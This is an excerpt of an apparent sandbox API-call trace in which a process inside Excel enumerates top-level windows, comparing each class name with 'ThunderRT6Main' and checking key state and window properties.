	[0084.949] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0084.949] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0084.949] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0084.950] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042
	[0084.950] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10
	[0084.950] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1
	[0084.950] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0084.950] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e
	[0084.950] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8
	[0084.950] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1
	[0084.950] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0084.950] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048
	[0084.950] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3
	[0084.950] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1
	[0084.950] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124
	[0084.950] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040
	[0084.950] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.950] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.950] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0084.950] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe
	[0084.950] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0084.950] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0084.950] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0084.950] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c
	[0084.950] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0084.950] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0084.950] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0084.950] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a
	[0084.950] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17
	[0084.950] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1
	[0084.950] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0084.951] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec
	[0084.951] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7
	[0084.951] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1
	[0084.951] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0084.951] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0
	[0084.951] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0f4bf0
	[0084.951] IMalloc:Free (This=0x7feffc15380, pv=0xc0f4bf0) 
	[0085.331] GetAsyncKeyState (vKey=27) returned 0
	[0085.331] GetCurrentThreadId () returned 0x8e8
	[0085.331] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0085.331] GetDesktopWindow () returned 0x10010
	[0085.331] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0085.331] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0085.331] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0085.331] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0085.331] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0085.331] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.331] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.331] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0085.332] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0085.332] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0085.332] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0085.332] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0085.332] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0085.332] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.332] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.332] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0085.332] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.332] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.332] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0085.332] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.332] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.332] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0085.332] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.332] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.332] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0085.332] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.332] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.332] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0085.332] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.332] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.332] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0085.332] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.332] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.332] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0085.332] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.332] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.332] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0085.332] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.332] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.333] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.333] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0085.333] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.333] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.333] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.333] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0085.333] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0085.333] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0085.333] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.333] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0085.333] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.333] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.333] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.333] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0085.333] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0085.333] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0085.333] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.333] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0085.333] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0085.333] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0085.333] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.333] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0085.333] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.334] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.334] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0085.334] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0085.334] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0085.334] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0085.334] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.334] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0085.334] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0085.334] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0085.334] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.334] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0085.334] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0085.334] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0085.334] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0085.334] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226
	[0085.334] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0085.334] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0085.334] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.334] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0085.334] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0085.334] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0085.334] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0085.334] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0085.334] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0085.334] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.334] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0085.334] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0085.334] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0085.334] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x40274
	[0085.334] GetClassNameA (in: hWnd=0x40274, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="#32770") returned 6
	[0085.334] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1
	[0085.334] GetWindowThreadProcessId (in: hWnd=0x40274, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.334] GetWindowLongA (hWnd=0x40274, nIndex=-16) returned -1798831675
	[0085.334] GetWindowLongPtrA (hWnd=0x40274, nIndex=-6) returned 0x7feef690000
	[0085.334] GetWindowLongPtrA (hWnd=0x40274, nIndex=-6) returned 0x7feef690000
	[0085.334] GetWindow (hWnd=0x40274, uCmd=0x2) returned 0x40216
	[0085.334] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0085.334] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0085.334] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.334] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 516882432
	[0085.334] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0085.334] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0085.334] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0085.334] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.335] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.335] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.335] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0085.335] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0085.335] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0085.335] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0085.335] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.335] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.335] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.335] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0085.335] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0085.335] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0085.335] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0085.335] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.335] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.335] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.335] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0085.335] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0085.335] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0085.335] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0085.335] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.335] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.335] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.335] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0085.335] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0085.335] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0085.335] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0085.335] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0085.335] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0085.335] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.335] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0085.335] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0085.335] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0085.335] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x202b0
	[0085.335] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0085.335] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0085.335] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.335] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -1946157056
	[0085.335] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0085.335] IsWindowEnabled (hWnd=0x202b0) returned 0
	[0085.335] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0085.335] RemovePropA (hWnd=0x202b0, lpString=0xc13a) returned 0x1
	[0085.336] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1
	[0085.336] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0085.336] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0085.336] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0085.336] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.336] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0085.336] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0085.336] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0085.336] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0085.336] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.336] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0085.336] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0085.336] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0085.336] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0085.336] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0085.336] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0085.336] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.336] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 516882432
	[0085.336] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0085.336] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0085.336] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0085.336] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.336] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.336] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.336] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0085.336] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0085.336] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0085.336] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0085.336] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.336] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.336] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.336] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0085.336] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0085.336] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0085.336] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0085.336] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.336] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.336] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.336] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0085.336] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0085.336] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0085.336] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0085.336] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.336] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.336] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.336] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0085.337] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0085.337] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0085.337] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0085.337] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0085.337] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0085.337] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0085.337] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0085.337] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0085.337] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0085.337] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.337] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0085.337] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0085.337] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0085.337] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0085.337] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.337] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.337] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.337] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0085.337] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0085.337] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0085.337] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0085.337] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0085.337] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0085.337] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0085.337] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0085.337] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0085.337] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
